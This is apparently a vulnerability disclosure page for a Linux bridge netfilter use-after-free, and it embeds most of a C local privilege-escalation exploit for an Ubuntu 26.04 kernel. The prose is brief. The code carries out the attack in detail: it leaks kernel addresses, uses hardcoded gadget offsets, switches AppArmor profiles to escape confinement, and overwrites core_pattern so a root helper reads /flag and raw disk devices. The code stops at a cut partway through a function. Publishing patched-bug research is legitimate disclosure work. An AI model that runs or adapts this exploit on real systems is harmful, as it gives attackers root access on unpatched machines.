Summary
Bridge netfilter built a private routing object by filling in fields manually rather than using the normal initializer. The object therefore did not hold the bridge device alive when an NFQUEUE packet retained it.
The vulnerable construction dated to September 2014 and was fixed upstream in June 2026. The public exploit targeted Ubuntu 26.04 with Linux 7.0.0-28.
Why it mattered
A local attacker in a suitable network namespace could queue a bridge packet, delete the bridge, and then cause the queue to release or reinject the packet. Cleanup then touched routing data embedded in already-freed bridge memory.
The affected code has been fixed. The risk described here applies to unpatched kernels in the affected line, not automatically to every system using the named distribution today.
What went wrong
br_netfilter_rtable_init() did not call dst_init(), so the fake route lacked a device reference and teardown tracking. NFQUEUE could upgrade the packet’s route reference, but it pinned the enslaved port devices rather than the bridge master that owned this private route.
Exploit
Because the issue and its fixes are public, NebuSec’s validation code is included here for reproducibility. The preview starts at the program entry point and shows exactly 15 lines. Expanding it reveals the complete selected C file embedded in this page; build files, headers, helpers, and any additional sources remain in the linked CyberMeowfia directory.
int main(int argc, char **argv){ static const unsigned int pattern_length = sizeof("|/tmp/_nebusec") - 1; static const unsigned int pattern_writes = sizeof("|/tmp/_nebusec");
(void)argc; setvbuf(stdout, NULL, _IONBF, 0); if (geteuid() == 0 && !strcmp(argv[0], "/tmp/_nebusec")) return file_root_helper(); pin_cpu(0); enter_unprivileged_user_net_mount_namespaces(); resolve_kernel_addresses(); start_cea_seeder();
for (pattern_index = 0; pattern_index < pattern_writes; pattern_index++) {
/*
* Copyright 2026 Nebula Security
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* https://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
* SPDX-License-Identifier: Apache-2.0
*/
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <grp.h>
#include <net/if.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#include <linux/if_link.h>
#include <linux/netfilter.h>
#include <linux/netfilter/nfnetlink.h>
#include <linux/netfilter/nfnetlink_queue.h>
#include <linux/netfilter/nf_tables.h>
#include <linux/netfilter/nf_tables_compat.h>
#include <linux/netfilter/xt_physdev.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <linux/veth.h>
#include <poll.h>
#include <sched.h>
#include <signal.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mount.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <sys/sendfile.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/xattr.h>
#include <time.h>
#include <unistd.h>
#include "leak.h"
#define QUEUE_NUM 4242
#define NF_BR_PRE_ROUTING 0
#define XATTR_COUNT 128
#define XATTR_VALUE_LEN 7000
#define KERNEL_BASE UINT64_C(0xffffffff81000000)
#define KERNEL_IMAGE_PAGES 22
#define UBUNTU_IMAGE_EDGE_BIAS UINT64_C(0x200000)
#define CPU1_CEA_PHYS_OFFSET UINT64_C(0x3ed17f58)
/* Ubuntu 7.0.0-28-generic. This mid-function sequence loads a controlled byte
* from fake_dst-0xb, stores it at R12, discards the indirect-call return slot,
* and restores exactly dst_destroy()'s rbx/r12/rbp. dst_destroy_rcu() then
* returns normally without corrupting rcu_do_batch()'s callee-saved state. */
#define OFF_BYTE_WRITE_AND_SAFE_RETURN UINT64_C(0xe531bb)
#define OFF_CORE_PATTERN_DATA UINT64_C(0x2cc78e0)
#define FAKE_DST_VALUE_OFFSET 0xb60
#define DST_OPS_OFFSET 0x08
#define DST_XFRM_OFFSET 0x20
#define DST_FLAGS_OFFSET 0x38
#define DST_RCUREF_OFFSET 0x40
#define XFRM_CHILD_OFFSET 0xe8
static uint32_t nl_seq;
static uint64_t kernel_slide;
static uint64_t physmap_base;
static uint64_t cea;
static uint64_t byte_write_gadget;
static uint64_t core_pattern_data;
static unsigned int pattern_index;
static int seeder_ready[2];
static void recv_ack(int fd, uint32_t seq);
static void install_pipe_helper(void);
static void die(const char *what)
{
perror(what);
exit(EXIT_FAILURE);
}
static void write_all(int fd, const char *buf, size_t len)
{
while (len) {
ssize_t n = write(fd, buf, len);
if (n < 0) {
if (errno == EINTR)
continue;
die("write");
}
buf += n;
len -= (size_t)n;
}
}
static void write_text(const char *path, const char *text)
{
int fd = open(path, O_WRONLY | O_CLOEXEC);
if (fd < 0)
die(path);
write_all(fd, text, strlen(text));
close(fd);
}
static void pin_cpu(int cpu)
{
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(cpu, &set);
if (sched_setaffinity(0, sizeof(set), &set) < 0)
die("sched_setaffinity");
}
static int file_root_helper(void)
{
static const char *paths[] = { "/flag", "/dev/vdb", "/dev/vdc" };
char buffer[4096];
int output = open("/tmp/_nebu_t", O_WRONLY | O_CREAT | O_TRUNC |
O_CLOEXEC, 0644);
if (output < 0)
return 1;
write_all(output, "ROOT_HELPER_OK\n", sizeof("ROOT_HELPER_OK\n") - 1);
for (size_t i = 0; i < sizeof(paths) / sizeof(paths[0]); i++) {
int fd = open(paths[i], O_RDONLY | O_CLOEXEC);
ssize_t got;
if (fd < 0)
continue;
got = read(fd, buffer, sizeof(buffer));
close(fd);
if (got > 0)
write_all(output, buffer, (size_t)got);
}
close(output);
return rename("/tmp/_nebu_t", "/tmp/_nebu_f") < 0;
}
static void resolve_kernel_addresses(void)
{
/* On this Ubuntu image the first detectable executable mapping starts at
* _text+2 MiB. The stock Debian helper subtracts one slot already, so
* restoring that slot gives the exact _text slide (checked on fresh
* Ubuntu boots against the diagnostic kallsyms oracle). */
kernel_slide = leak_image_slide_checked() +
UBUNTU_IMAGE_EDGE_BIAS;
physmap_base = leak_phys_map_base_checked(CPU1_CEA_PHYS_OFFSET);
/* Ubuntu's CPU1 entry-stack backing page is one page below the Debian
* layout. Its 0x3ed17f58 physical offset was invariant across fresh
* stock-image boots; the randomized direct-map base is leaked here. */
cea = physmap_base + CPU1_CEA_PHYS_OFFSET;
byte_write_gadget = KERNEL_BASE + kernel_slide +
OFF_BYTE_WRITE_AND_SAFE_RETURN;
core_pattern_data = KERNEL_BASE + kernel_slide + OFF_CORE_PATTERN_DATA;
printf("[+] resolved _text slide=%#llx physmap=%#llx CPU1 CEA=%#llx\n",
(unsigned long long)kernel_slide,
(unsigned long long)physmap_base,
(unsigned long long)cea);
printf("[+] safe byte-write gadget=%#llx core_pattern data=%#llx\n",
(unsigned long long)byte_write_gadget,
(unsigned long long)core_pattern_data);
}
static void change_profile(const char *name)
{
char request[256];
int fd, len;
len = snprintf(request, sizeof(request), "changeprofile %s", name);
if (len < 0 || (size_t)len >= sizeof(request)) {
errno = EINVAL;
die("format AppArmor changeprofile");
}
fd = open("/proc/self/attr/current", O_WRONLY | O_CLOEXEC);
if (fd < 0)
die("open AppArmor current");
write_all(fd, request, (size_t)len);
close(fd);
}
static void enter_unprivileged_user_net_mount_namespaces(void)
{
char map[128];
uid_t uid;
gid_t gid;
/* Serial test sessions commonly start as root. Drop first so the
* trigger proves that only namespace-local capabilities are used. */
if (geteuid() == 0) {
if (setgroups(0, NULL) < 0)
die("setgroups(drop)");
if (setresgid(65534, 65534, 65534) < 0)
die("setresgid(nobody)");
if (setresuid(65534, 65534, 65534) < 0)
die("setresuid(nobody)");
/* set*uid clears dumpability, which also makes our own userns map
* files unwritable until it is restored. */
if (prctl(PR_SET_DUMPABLE, 1, 0, 0, 0) < 0)
die("prctl(PR_SET_DUMPABLE)");
}
uid = getuid();
gid = getgid();
printf("[+] initial credentials uid=%u gid=%u\n", uid, gid);
/* Create the helper only after proving the initial root credentials were
* dropped, and before entering the deliberately restrictive stock
* plasmashell profile. */
install_pipe_helper();
/* Both transitions are already authorized by the unmodified Ubuntu
* policy. No profile is loaded or edited by the payload. */
change_profile("/usr/lib/snapd/snap-confine");
change_profile("plasmashell");
printf("[+] entered stock plasmashell AppArmor profile\n");
if (unshare(CLONE_NEWUSER) < 0)
die("unshare(CLONE_NEWUSER)");
write_text("/proc/self/setgroups", "deny");
snprintf(map, sizeof(map), "0 %u 1\n", uid);
write_text("/proc/self/uid_map", map);
snprintf(map, sizeof(map), "0 %u 1\n", gid);
write_text("/proc/self/gid_map", map);
if (setresgid(0, 0, 0) < 0 || setresuid(0, 0, 0) < 0)
die("setresuid/setresgid(namespace root)");
if (unshare(CLONE_NEWNET | CLONE_NEWNS) < 0)
die("unshare(CLONE_NEWNET|CLONE_NEWNS)");
printf("[+] namespace credentials uid=%u gid=%u\n", getuid(), getgid());
}
static struct nlattr *put_attr(struct nlmsghdr *nlh, size_t cap,
uint16_t type, const void *data, size_t len)
{
size_t off = NLMSG_ALIGN(nlh->nlmsg_len);
size_t need = NLA_ALIGN(NLA_HDRLEN + len);
struct nlattr *nla;
if (off + need > cap) {
errno = EMSGSIZE;
die("put_attr");
}
nla = (struct nlattr *)((char *)nlh + off);
nla->nla_type = type;
nla->nla_len = (uint16_t)(NLA_HDRLEN + len);
memcpy((char *)nla + NLA_HDRLEN, data, len);
memset((char *)nla + nla->nla_len, 0, need - nla->nla_len);
nlh->nlmsg_len = (uint32_t)(off + need);
return nla;
}
static void send_nl(int fd, struct nlmsghdr *nlh)
{
struct sockaddr_nl dst = { .nl_family = AF_NETLINK };
struct iovec iov = { .iov_base = nlh, .iov_len = nlh->nlmsg_len };
struct msghdr msg = {
.msg_name = &dst,
.msg_namelen = sizeof(dst),
.msg_iov = &iov,
.msg_iovlen = 1,
};
if (sendmsg(fd, &msg, 0) < 0)
die("sendmsg(NETLINK_NETFILTER)");
}
static struct nlattr *nest_start(struct nlmsghdr *nlh, size_t cap,
uint16_t type)
{
return put_attr(nlh, cap, type | NLA_F_NESTED, NULL, 0);
}
static void nest_end(struct nlmsghdr *nlh, struct nlattr *nla)
{
nla->nla_len = (uint16_t)((char *)nlh + nlh->nlmsg_len - (char *)nla);
}
static int open_netlink_route(void)
{
int fd = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_ROUTE);
struct sockaddr_nl local = { .nl_family = AF_NETLINK };
if (fd < 0)
die("socket(NETLINK_ROUTE)");
if (bind(fd, (struct sockaddr *)&local, sizeof(local)) < 0)
die("bind(NETLINK_ROUTE)");
return fd;
}
static void rtnl_send_ack(int fd, struct nlmsghdr *nlh)
{
nlh->nlmsg_seq = ++nl_seq;
send_nl(fd, nlh);
recv_ack(fd, nlh->nlmsg_seq);
}
static void rtnl_new_bridge(int fd, const char *name)
{
char buf[1024] = { 0 };
struct nlmsghdr *nlh = (void *)buf;
struct ifinfomsg *ifi;
struct nlattr *linkinfo;
nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*ifi));
nlh->nlmsg_type = RTM_NEWLINK;
nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | NLM_F_EXCL;
ifi = NLMSG_DATA(nlh);
ifi->ifi_family = AF_UNSPEC;
put_attr(nlh, sizeof(buf), IFLA_IFNAME, name, strlen(name) + 1);
linkinfo = nest_start(nlh, sizeof(buf), IFLA_LINKINFO);
put_attr(nlh, sizeof(buf), IFLA_INFO_KIND, "bridge", sizeof("bridge"));
nest_end(nlh, linkinfo);
rtnl_send_ack(fd, nlh);
printf("[+] created bridge %s via raw rtnetlink\n", name);
}
static void rtnl_new_veth(int fd, const char *left, const char *right)
{
char buf[1536] = { 0 };
struct nlmsghdr *nlh = (void *)buf;
struct ifinfomsg *ifi;
struct nlattr *linkinfo, *infodata, *peer;
nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*ifi));
nlh->nlmsg_type = RTM_NEWLINK;
nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | NLM_F_EXCL;
ifi = NLMSG_DATA(nlh);
ifi->ifi_family = AF_UNSPEC;
put_attr(nlh, sizeof(buf), IFLA_IFNAME, left, strlen(left) + 1);
linkinfo = nest_start(nlh, sizeof(buf), IFLA_LINKINFO);
put_attr(nlh, sizeof(buf), IFLA_INFO_KIND, "veth", sizeof("veth"));
infodata = nest_start(nlh, sizeof(buf), IFLA_INFO_DATA);
peer = nest_start(nlh, sizeof(buf), VETH_INFO_PEER);
if (nlh->nlmsg_len + sizeof(*ifi) > sizeof(buf)) {
errno = EMSGSIZE;
die("rtnl veth peer");
}
ifi = (void *)(buf + nlh->nlmsg_len);
memset(ifi, 0, sizeof(*ifi));
ifi->ifi_family = AF_UNSPEC;
nlh->nlmsg_len += sizeof(*ifi);
put_attr(nlh, sizeof(buf), IFLA_IFNAME, right, strlen(right) + 1);
nest_end(nlh, peer);
nest_end(nlh, infodata);
nest_end(nlh, linkinfo);
rtnl_send_ack(fd, nlh);
printf("[+] created veth %s/%s via raw rtnetlink\n", left, right);
}
static unsigned int require_ifindex(const char *name)
{
unsigned int index = if_nametoindex(name);
if (!index)
die("if_nametoindex");
return index;
}
static void rtnl_set_master(int fd, const char *port, const char *master)
{
char buf[512] = { 0 };
struct nlmsghdr *nlh = (void *)buf;
struct ifinfomsg *ifi;
uint32_t master_index = require_ifindex(master);
nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*ifi));
nlh->nlmsg_type = RTM_NEWLINK;
nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
ifi = NLMSG_DATA(nlh);
ifi->ifi_family = AF_UNSPEC;
ifi->ifi_index = (int)require_ifindex(port);
put_attr(nlh, sizeof(buf), IFLA_MASTER, &master_index, sizeof(master_index));
rtnl_send_ack(fd, nlh);
}
static void rtnl_set_up(int fd, const char *name)
{
char buf[512] = { 0 };
struct nlmsghdr *nlh = (void *)buf;
struct ifinfomsg *ifi;
nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*ifi));
nlh->nlmsg_type = RTM_NEWLINK;
nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
ifi = NLMSG_DATA(nlh);
ifi->ifi_family = AF_UNSPEC;
ifi->ifi_index = (int)require_ifindex(name);
ifi->ifi_flags = IFF_UP;
ifi->ifi_change = IFF_UP;
rtnl_send_ack(fd, nlh);
}
static void rtnl_set_bridge_nf_call_iptables(int fd, const char *name)
{
char buf[768] = { 0 };
struct nlmsghdr *nlh = (void *)buf;
struct ifinfomsg *ifi;
struct nlattr *linkinfo, *infodata;
uint8_t one = 1;
nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*ifi));
nlh->nlmsg_type = RTM_NEWLINK;
nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
ifi = NLMSG_DATA(nlh);
ifi->ifi_family = AF_UNSPEC;
ifi->ifi_index = (int)require_ifindex(name);
linkinfo = nest_start(nlh, sizeof(buf), IFLA_LINKINFO);
put_attr(nlh, sizeof(buf), IFLA_INFO_KIND, "bridge", sizeof("bridge"));
infodata = nest_start(nlh, sizeof(buf), IFLA_INFO_DATA);
put_attr(nlh, sizeof(buf), IFLA_BR_NF_CALL_IPTABLES, &one, sizeof(one));
nest_end(nlh, infodata);
nest_end(nlh, linkinfo);
rtnl_send_ack(fd, nlh);
}
static void rtnl_delete_link(const char *name)
{
int fd = open_netlink_route();
char buf[512] = { 0 };
struct nlmsghdr *nlh = (void *)buf;
struct ifinfomsg *ifi;
nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*ifi));
nlh->nlmsg_type = RTM_DELLINK;
nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
ifi = NLMSG_DATA(nlh);
ifi->ifi_family = AF_UNSPEC;
ifi->ifi_index = (int)require_ifindex(name);
rtnl_send_ack(fd, nlh);
close(fd);
}
static void send_nft_batch_one(int fd, struct nlmsghdr *request)
{
char batch[4096] = { 0 };
struct nlmsghdr *begin = (void *)batch;
struct nfgenmsg *nfg;
struct nlmsghdr *msg;
struct nlmsghdr *end;
size_t off;
struct sockaddr_nl dst = { .nl_family = AF_NETLINK };
struct iovec iov;
struct msghdr mh = {
.msg_name = &dst,
.msg_namelen = sizeof(dst),
.msg_iov = &iov,
.msg_iovlen = 1,
};
uint32_t request_seq;
begin->nlmsg_len = NLMSG_LENGTH(sizeof(*nfg));
begin->nlmsg_type = NFNL_MSG_BATCH_BEGIN;
begin->nlmsg_flags = NLM_F_REQUEST;
begin->nlmsg_seq = ++nl_seq;
nfg = NLMSG_DATA(begin);
nfg->nfgen_family = AF_UNSPEC;
nfg->version = NFNETLINK_V0;
nfg->res_id = htons(NFNL_SUBSYS_NFTABLES);
off = NLMSG_ALIGN(begin->nlmsg_len);
msg = (void *)(batch + off);
memcpy(msg, request, request->nlmsg_len);
msg->nlmsg_seq = ++nl_seq;
request_seq = msg->nlmsg_seq;
off += NLMSG_ALIGN(msg->nlmsg_len);
end = (void *)(batch + off);
end->nlmsg_len = NLMSG_LENGTH(sizeof(*nfg));
end->nlmsg_type = NFNL_MSG_BATCH_END;
end->nlmsg_flags = NLM_F_REQUEST;
end->nlmsg_seq = ++nl_seq;
nfg = NLMSG_DATA(end);
nfg->nfgen_family = AF_UNSPEC;
nfg->version = NFNETLINK_V0;
nfg->res_id = htons(NFNL_SUBSYS_NFTABLES);
off += NLMSG_ALIGN(end->nlmsg_len);
iov.iov_base = batch;
iov.iov_len = off;
if (sendmsg(fd, &mh, 0) < 0)
die("sendmsg(nft batch)");
recv_ack(fd, request_seq);
}
static void nft_base_request(char *buf, size_t cap, uint16_t msg_type,
uint8_t family)
{
struct nlmsghdr *nlh = (void *)buf;
struct nfgenmsg *nfg;
memset(buf, 0, cap);
nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*nfg));
nlh->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | msg_type;
nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | NLM_F_EXCL;
nfg = NLMSG_DATA(nlh);
nfg->nfgen_family = family;
nfg->version = NFNETLINK_V0;
nfg->res_id = 0;
}
static int open_netfilter_socket(void)
{
int fd = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_NETFILTER);
struct sockaddr_nl local = { .nl_family = AF_NETLINK };
if (fd < 0)
die("socket(NETLINK_NETFILTER)");
if (bind(fd, (struct sockaddr *)&local, sizeof(local)) < 0)
die("bind(NETLINK_NETFILTER)");
return fd;
}
static void install_br_netfilter_autoload_rule_raw(void)
{
int fd = open_netfilter_socket();
char buf[2048];
struct nlmsghdr *nlh = (void *)buf;
struct nlattr *hook, *exprs, *elem, *data;
uint32_t hooknum = htonl(NF_INET_FORWARD);
uint32_t priority = htonl(0);
uint32_t policy = htonl(NF_ACCEPT);
uint32_t revision = htonl(0);
struct xt_physdev_info physdev = {
.bitmask = XT_PHYSDEV_OP_BRIDGED,
};
nft_base_request(buf, sizeof(buf), NFT_MSG_NEWTABLE, NFPROTO_IPV4);
put_attr(nlh, sizeof(buf), NFTA_TABLE_NAME, "autoload", sizeof("autoload"));
send_nft_batch_one(fd, nlh);
nft_base_request(buf, sizeof(buf), NFT_MSG_NEWCHAIN, NFPROTO_IPV4);
put_attr(nlh, sizeof(buf), NFTA_CHAIN_TABLE, "autoload", sizeof("autoload"));
put_attr(nlh, sizeof(buf), NFTA_CHAIN_NAME, "fwd", sizeof("fwd"));
put_attr(nlh, sizeof(buf), NFTA_CHAIN_TYPE, "filter", sizeof("filter"));
hook = nest_start(nlh, sizeof(buf), NFTA_CHAIN_HOOK);
put_attr(nlh, sizeof(buf), NFTA_HOOK_HOOKNUM, &hooknum, sizeof(hooknum));
put_attr(nlh, sizeof(buf), NFTA_HOOK_PRIORITY, &priority, sizeof(priority));
nest_end(nlh, hook);
put_attr(nlh, sizeof(buf), NFTA_CHAIN_POLICY, &policy, sizeof(policy));
send_nft_batch_one(fd, nlh);
nft_base_request(buf, sizeof(buf), NFT_MSG_NEWRULE, NFPROTO_IPV4);
put_attr(nlh, sizeof(buf), NFTA_RULE_TABLE, "autoload", sizeof("autoload"));
put_attr(nlh, sizeof(buf), NFTA_RULE_CHAIN, "fwd", sizeof("fwd"));
exprs = nest_start(nlh, sizeof(buf), NFTA_RULE_EXPRESSIONS);
elem = nest_start(nlh, sizeof(buf), NFTA_LIST_ELEM);
put_attr(nlh, sizeof(buf), NFTA_EXPR_NAME, "match", sizeof("match"));
data = nest_start(nlh, sizeof(buf), NFTA_EXPR_DATA);
put_attr(nlh, sizeof(buf), NFTA_MATCH_NAME, "physdev", sizeof("physdev"));
put_attr(nlh, sizeof(buf), NFTA_MATCH_REV, &revision, sizeof(revision));
put_attr(nlh, sizeof(buf), NFTA_MATCH_INFO, &physdev, sizeof(physdev));
nest_end(nlh, data);
nest_end(nlh, elem);
nest_end(nlh, exprs);
send_nft_batch_one(fd, nlh);
close(fd);
printf("[+] installed raw nft/xt_physdev rule to request br_netfilter\n");
}
static void install_bridge_queue_rule_raw(void)
{
int fd = open_netfilter_socket();
char buf[2048];
struct nlmsghdr *nlh = (void *)buf;
struct nlattr *hook, *exprs, *elem, *data;
uint32_t hooknum = htonl(NF_BR_PRE_ROUTING);
uint32_t priority = htonl(10);
uint32_t policy = htonl(NF_ACCEPT);
uint16_t qnum = htons(QUEUE_NUM);
nft_base_request(buf, sizeof(buf), NFT_MSG_NEWTABLE, NFPROTO_BRIDGE);
put_attr(nlh, sizeof(buf), NFTA_TABLE_NAME, "c9c9", sizeof("c9c9"));
send_nft_batch_one(fd, nlh);
nft_base_request(buf, sizeof(buf), NFT_MSG_NEWCHAIN, NFPROTO_BRIDGE);
put_attr(nlh, sizeof(buf), NFTA_CHAIN_TABLE, "c9c9", sizeof("c9c9"));
put_attr(nlh, sizeof(buf), NFTA_CHAIN_NAME, "pre", sizeof("pre"));
put_attr(nlh, sizeof(buf), NFTA_CHAIN_TYPE, "filter", sizeof("filter"));
hook = nest_start(nlh, sizeof(buf), NFTA_CHAIN_HOOK);
put_attr(nlh, sizeof(buf), NFTA_HOOK_HOOKNUM, &hooknum, sizeof(hooknum));
put_attr(nlh, sizeof(buf), NFTA_HOOK_PRIORITY, &priority, sizeof(priority));
nest_end(nlh, hook);
put_attr(nlh, sizeof(buf), NFTA_CHAIN_POLICY, &policy, sizeof(policy));
send_nft_batch_one(fd, nlh);
nft_base_request(buf, sizeof(buf), NFT_MSG_NEWRULE, NFPROTO_BRIDGE);
put_attr(nlh, sizeof(buf), NFTA_RULE_TABLE, "c9c9", sizeof("c9c9"));
put_attr(nlh, sizeof(buf), NFTA_RULE_CHAIN, "pre", sizeof("pre"));
exprs = nest_start(nlh, sizeof(buf), NFTA_RULE_EXPRESSIONS);
elem = nest_start(nlh, sizeof(buf), NFTA_LIST_ELEM);
put_attr(nlh, sizeof(buf), NFTA_EXPR_NAME, "queue", sizeof("queue"));
data = nest_start(nlh, sizeof(buf), NFTA_EXPR_DATA);
put_attr(nlh, sizeof(buf), NFTA_QUEUE_NUM, &qnum, sizeof(qnum));
nest_end(nlh, data);
nest_end(nlh, elem);
nest_end(nlh, exprs);
send_nft_batch_one(fd, nlh);
close(fd);
printf("[+] installed raw nft bridge/prerouting priority 10 queue rule\n");
}
static void recv_ack(int fd, uint32_t seq)
{
char buf[8192];
for (;;) {
ssize_t len = recv(fd, buf, sizeof(buf), 0);
struct nlmsghdr *nlh;
if (len < 0) {
if (errno == EINTR)
continue;
die("recv(netfilter ack)");
}
for (nlh = (struct nlmsghdr *)buf; NLMSG_OK(nlh, len);
nlh = NLMSG_NEXT(nlh, len)) {
struct nlmsgerr *err;
if (nlh->nlmsg_seq != seq || nlh->nlmsg_type != NLMSG_ERROR)
continue;
err = NLMSG_DATA(nlh);
if (err->error) {
errno = -err->error;
die("NFQUEUE netlink ack");
}
return;
}
}
}
static int open_and_bind_nfqueue(void)
{
int fd = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_NETFILTER);
struct sockaddr_nl local = {
.nl_family = AF_NETLINK,
.nl_pid = (uint32_t)getpid(),
};
char buf[256] = { 0 };
struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
struct nfgenmsg *nfg;
struct nfqnl_msg_config_cmd cmd = {
.command = NFQNL_CFG_CMD_BIND,
.pf = htons(AF_INET),
};
struct nfqnl_msg_config_params params = {
.copy_range = htonl(0xffff),
.copy_mode = NFQNL_COPY_PACKET,
};
if (fd < 0)
die("socket(NETLINK_NETFILTER)");
if (bind(fd, (struct sockaddr *)&local, sizeof(local)) < 0)
die("bind(NETLINK_NETFILTER)");
nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*nfg));
nlh->nlmsg_type = (NFNL_SUBSYS_QUEUE << 8) | NFQNL_MSG_CONFIG;
nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
nlh->nlmsg_seq = ++nl_seq;
nfg = NLMSG_DATA(nlh);
nfg->nfgen_family = AF_UNSPEC;
nfg->version = NFNETLINK_V0;
nfg->res_id = htons(QUEUE_NUM);
put_attr(nlh, sizeof(buf), NFQA_CFG_CMD, &cmd, sizeof(cmd));
send_nl(fd, nlh);
recv_ack(fd, nl_seq);
memset(buf, 0, sizeof(buf));
nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*nfg));
nlh->nlmsg_type = (NFNL_SUBSYS_QUEUE << 8) | NFQNL_MSG_CONFIG;
nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
nlh->nlmsg_seq = ++nl_seq;
nfg = NLMSG_DATA(nlh);
nfg->nfgen_family = AF_UNSPEC;
nfg->version = NFNETLINK_V0;
nfg->res_id = htons(QUEUE_NUM);
put_attr(nlh, sizeof(buf), NFQA_CFG_PARAMS, ¶ms, sizeof(params));
send_nl(fd, nlh);
recv_ack(fd, nl_seq);
printf("[+] bound NFQUEUE %d via raw NETLINK_NETFILTER\n", QUEUE_NUM);
return fd;
}
static uint32_t recv_packet_id(int fd)
{
char buf[65536];
for (;;) {
ssize_t len = recv(fd, buf, sizeof(buf), 0);
struct nlmsghdr *nlh;
if (len < 0) {
if (errno == EINTR)
continue;
die("recv(NFQUEUE packet)");
}
for (nlh = (struct nlmsghdr *)buf; NLMSG_OK(nlh, len);
nlh = NLMSG_NEXT(nlh, len)) {
struct nfgenmsg *nfg;
struct nlattr *nla;
int rem;
if (nlh->nlmsg_type !=
((NFNL_SUBSYS_QUEUE << 8) | NFQNL_MSG_PACKET))
continue;
nfg = NLMSG_DATA(nlh);
rem = (int)nlh->nlmsg_len - NLMSG_LENGTH(sizeof(*nfg));
nla = (struct nlattr *)((char *)nfg + NLMSG_ALIGN(sizeof(*nfg)));
while (rem >= (int)sizeof(*nla) && nla->nla_len >= sizeof(*nla) &&
nla->nla_len <= rem) {
if ((nla->nla_type & NLA_TYPE_MASK) == NFQA_PACKET_HDR &&
nla->nla_len >= NLA_HDRLEN + sizeof(struct nfqnl_msg_packet_hdr)) {
struct nfqnl_msg_packet_hdr *ph =
(void *)((char *)nla + NLA_HDRLEN);
uint32_t id = ntohl(ph->packet_id);
printf("[+] QUEUED packet id=%u while bridge is live\n", id);
return id;
}
rem -= NLA_ALIGN(nla->nla_len);
nla = (struct nlattr *)((char *)nla + NLA_ALIGN(nla->nla_len));
}
}
}
}
static void send_verdict_drop(int fd, uint32_t id)
{
char buf[256] = { 0 };
struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
struct nfgenmsg *nfg;
struct nfqnl_msg_verdict_hdr vh = {
.verdict = htonl(NF_DROP),
.id = htonl(id),
};
nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*nfg));
nlh->nlmsg_type = (NFNL_SUBSYS_QUEUE << 8) | NFQNL_MSG_VERDICT;
nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
nlh->nlmsg_seq = ++nl_seq;
nfg = NLMSG_DATA(nlh);
nfg->nfgen_family = AF_UNSPEC;
nfg->version = NFNETLINK_V0;
nfg->res_id = htons(QUEUE_NUM);
put_attr(nlh, sizeof(buf), NFQA_VERDICT_HDR, &vh, sizeof(vh));
send_nl(fd, nlh);
/* A fixed kernel may reap the queued entry during bridge unregister.
* Do not block forever waiting for an ACK in that case. */
printf("[+] sent NF_DROP verdict for id=%u\n", id);
}
static uint16_t ip_checksum(const void *data, size_t len)
{
const uint16_t *p = data;
uint32_t sum = 0;
while (len > 1) {
sum += *p++;
len -= 2;
}
if (len)
sum += *(const uint8_t *)p;
while (sum >> 16)
sum = (sum & 0xffff) + (sum >> 16);
return (uint16_t)~sum;
}
static void get_mac(const char *ifname, unsigned char mac[ETH_ALEN])
{
int fd = socket(AF_INET, SOCK_DGRAM | SOCK_CLOEXEC, 0);
struct ifreq ifr = { 0 };
if (fd < 0)
die("socket(SIOCGIFHWADDR)");
strncpy(ifr.ifr_name, ifname, IFNAMSIZ - 1);
if (ioctl(fd, SIOCGIFHWADDR, &ifr) < 0)
die("ioctl(SIOCGIFHWADDR)");
memcpy(mac, ifr.ifr_hwaddr.sa_data, ETH_ALEN);
close(fd);
}
static void send_ipv4_frame(void)
{
struct {
unsigned char dst[ETH_ALEN];
unsigned char src[ETH_ALEN];
uint16_t proto;
struct {
uint8_t version_ihl;
uint8_t tos;
uint16_t total_len;
uint16_t id;
uint16_t frag_off;
uint8_t ttl;
uint8_t protocol;
uint16_t check;
uint32_t saddr;
uint32_t daddr;
} __attribute__((packed)) ip;
} __attribute__((packed)) frame = { 0 };
struct sockaddr_ll sa = { 0 };
int fd = socket(AF_PACKET, SOCK_RAW | SOCK_CLOEXEC, htons(ETH_P_ALL));
if (fd < 0)
die("socket(AF_PACKET)");
get_mac("_1", frame.src);
get_mac("_3", frame.dst);
